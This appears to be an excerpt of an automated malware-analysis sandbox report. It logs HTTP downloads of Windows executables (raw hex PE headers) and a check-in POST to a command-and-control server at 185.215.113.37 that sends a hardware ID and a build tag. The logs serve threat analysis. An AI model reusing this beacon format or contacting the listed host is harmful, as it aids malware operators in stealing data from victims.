ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 96 79 1a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 55 2d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:25 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:32 GMTContent-Type: application/octet-streamContent-Length: 1934848Last-Modified: Thu, 24 Oct 2024 17:07:23 GMTConnection: keep-aliveETag: "671a7ecb-1d8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 b6 c5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 6a 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6a 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 62 77 79 6e 69 72 00 70 1a 00 00 00 32 00 00 6c 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 78 64 63 73 75 63 6b 00 10 00 00 00 70 4c 00 00 04 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 64 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:40 GMTContent-Type: application/octet-streamContent-Length: 1852928Last-Modified: Thu, 24 Oct 2024 17:07:16 GMTConnection: keep-aliveETag: "671a7ec4-1c4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 6e 67 63 63 67 65 00 f0 19 00 00 f0 4f 00 00 e4 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 74 6d 6d 79 65 79 6c 00 10 00 00 00 e0 69 00 00 04 00 00 00 20 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 69 00 00 22 00 00 00 24 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:42 GMTContent-Type: application/octet-streamContent-Length: 2780160Last-Modified: Thu, 24 Oct 2024 16:45:44 GMTConnection: keep-aliveETag: "671a79b8-2a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 6b 71 65 6c 6c 78 00 20 2a 00 00 a0 00 00 00 0c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 76 6e 6b 75 64 67 00 20 00 00 00 c0 2a 00 00 04 00 00 00 46 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:42 GMTContent-Type: application/octet-streamContent-Length: 2780160Last-Modified: Thu, 24 Oct 2024 16:45:44 GMTConnection: keep-aliveETag: "671a79b8-2a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 6b 71 65 6c 6c 78 00 20 2a 00 00 a0 00 00 00 0c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 76 6e 6b 75 64 67 00 20 00 00 00 c0 2a 00 00 04 00 00 00 46 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:42 GMTContent-Type: application/octet-streamContent-Length: 2780160Last-Modified: Thu, 24 Oct 2024 16:45:44 GMTConnection: keep-aliveETag: "671a79b8-2a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 6b 71 65 6c 6c 78 00 20 2a 00 00 a0 00 00 00 0c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 76 6e 6b 75 64 67 00 20 00 00 00 c0 2a 00 00 04 00 00 00 46 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="hwid"A48588DEC639786254513------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build"doma------EHDHDHIECGCAEBFIIDHI--
